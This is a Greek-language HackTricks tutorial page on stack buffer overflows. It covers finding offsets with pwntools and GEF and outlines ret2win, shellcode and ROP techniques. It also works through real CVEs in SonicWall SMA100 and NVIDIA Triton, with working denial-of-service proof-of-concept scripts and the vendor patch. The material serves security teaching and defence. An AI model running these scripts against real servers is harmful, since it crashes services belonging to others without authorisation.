Stack Overflow
Reading time: 9 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το Stack Overflow
Ένα stack overflow είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα επικαλύψουν γειτονικό χώρο μνήμης, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο αποθηκευμένος δείκτης εντολών (EIP/RIP) και ο αποθηκευμένος δείκτης βάσης (EBP/RBP) για να επιστρέψει στην προηγούμενη συνάρτηση είναι αποθηκευμένα στο stack. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να ελέγξει τη ροή εκτέλεσης του προγράμματος.
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.
Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: strcpy
, strcat
, sprintf
, gets
... Επίσης, συναρτήσεις όπως fgets
, read
& memcpy
που δέχονται ένα όρισμα μήκους, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Εύρεση των offsets των Stack Overflows
Ο πιο κοινός τρόπος για να βρείτε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από A
s (π.χ. python3 -c 'print("A"*1000)'
) και να περιμένετε ένα Segmentation Fault
που υποδεικνύει ότι η διεύθυνση 0x41414141
προσπαθήθηκε να προσπελαστεί.
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να επικαλύψετε τη διεύθυνση επιστροφής, για αυτό συνήθως χρησιμοποιείται μια ακολουθία De Bruijn. Η οποία για ένα δεδομένο αλφάβητο μεγέθους k και υποακολουθίες μήκους n είναι μια κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους n εμφανίζεται ακριβώς μία φορά ως συνεχής υποακολουθία.
Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύψουν.
Είναι δυνατό να χρησιμοποιήσετε pwntools για αυτό:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ή GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Εκμετάλλευση Στοίβας Υπερχείλισης
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να επικαλύψετε τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο EBP/RBP και EIP/RIP (ή ακόμα περισσότερα).
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να τροποποιήσετε τη διεύθυνση επιστροφής έτσι ώστε όταν η συνάρτηση τελειώσει, η ροή ελέγχου να ανακατευθυνθεί όπου ο χρήστης καθόρισε σε αυτόν τον δείκτη.
Ωστόσο, σε άλλα σενάρια, ίσως απλά η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
Ret2win
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια συνάρτηση μέσα στο δυαδικό που ποτέ δεν καλείται και που πρέπει να καλέσετε για να κερδίσετε. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής και να βρείτε τη διεύθυνση της συνάρτησης που θα καλέσετε (συνήθως ASLR θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
Stack Shellcode
Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να μεταπηδήσει στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
ROP & Ret2... τεχνικές
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: Μη εκτελέσιμη στοίβα (NX). Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό:
ROP - Return Oriented Programing
Υπερχείλιση Σωρού
Μια υπερχείλιση δεν θα είναι πάντα στη στοίβα, μπορεί επίσης να είναι στον σωρό για παράδειγμα:
Τύποι προστασιών
Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις στο:
Common Binary Exploitation Protections & Bypasses
Πραγματικό Παράδειγμα: CVE-2025-40596 (SonicWall SMA100)
Μια καλή επίδειξη του γιατί sscanf
δεν πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall.
Η ευάλωτη ρουτίνα μέσα στο /usr/src/EasyAccess/bin/httpd
προσπαθεί να εξαγάγει την έκδοση και το σημείο πρόσβασης από οποιοδήποτε URI που αρχίζει με /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Η πρώτη μετατροπή (
%2s
) αποθηκεύει με ασφάλεια δύο bytes στοversion
(π.χ."v1"
). - Η δεύτερη μετατροπή (
%s
) δεν έχει καθοριστή μήκους, επομένως τοsscanf
θα συνεχίσει να αντιγράφει μέχρι το πρώτο byte NUL. - Επειδή το
endpoint
βρίσκεται στη στοίβα και έχει μήκος 0x800 bytes, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του stack canary και της αποθηκευμένης διεύθυνσης επιστροφής.
Μια απόδειξη-έννοια μίας γραμμής είναι αρκετή για να προκαλέσει την κατάρρευση πριν από την αυθεντικοποίηση:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Ακόμα και αν οι stack canaries τερματίζουν τη διαδικασία, ένας επιτιθέμενος αποκτά μια Denial-of-Service πρωτοβουλία (και, με επιπλέον διαρροές πληροφοριών, πιθανώς εκτέλεση κώδικα). Το μάθημα είναι απλό:
- Πάντα να παρέχετε ένα μέγιστο πλάτος πεδίου (π.χ.
%511s
). - Προτιμήστε ασφαλέστερες εναλλακτικές όπως
snprintf
/strncpy_s
.
Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Ο NVIDIA Triton Inference Server (≤ v25.06) περιείχε πολλαπλά stack-based overflows που ήταν προσβάσιμα μέσω του HTTP API του.
Το ευάλωτο μοτίβο εμφανίστηκε επανειλημμένα στα http_server.cc
και sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) επιστρέφει τον αριθμό των εσωτερικών τμημάτων buffer που συνθέτουν το τρέχον σώμα του HTTP request.- Κάθε τμήμα προκαλεί την κατανομή ενός 16-byte
evbuffer_iovec
στη στοίβα μέσω τουalloca()
– χωρίς κανένα ανώτατο όριο. - Εκμεταλλευόμενος το HTTP chunked transfer-encoding, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε εκατοντάδες χιλιάδες τμήματα των 6-byte (
"1\r\nA\r\n"
). Αυτό καθιστά τοn
να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα.
Proof-of-Concept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Ένα αίτημα ~3 MB είναι αρκετό για να αντικαταστήσει τη σωσμένη διεύθυνση επιστροφής και να καταρρεύσει το daemon σε μια προεπιλεγμένη έκδοση.
Patch & Mitigation
Η έκδοση 25.07 αντικαθιστά την ανασφαλή κατανομή στοίβας με ένα heap-backed std::vector
και διαχειρίζεται με κομψό τρόπο το std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Μαθήματα που αποκομίστηκαν:
- Ποτέ μην καλείτε
alloca()
με μεγέθη που ελέγχονται από τον επιτιθέμενο. - Οι κατακερματισμένες αιτήσεις μπορούν να αλλάξουν δραστικά το σχήμα των buffers στην πλευρά του διακομιστή.
- Επικυρώστε / περιορίστε οποιαδήποτε τιμή προέρχεται από την είσοδο του πελάτη πριν τη χρησιμοποιήσετε σε κατανομές μνήμης.
Αναφορές
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.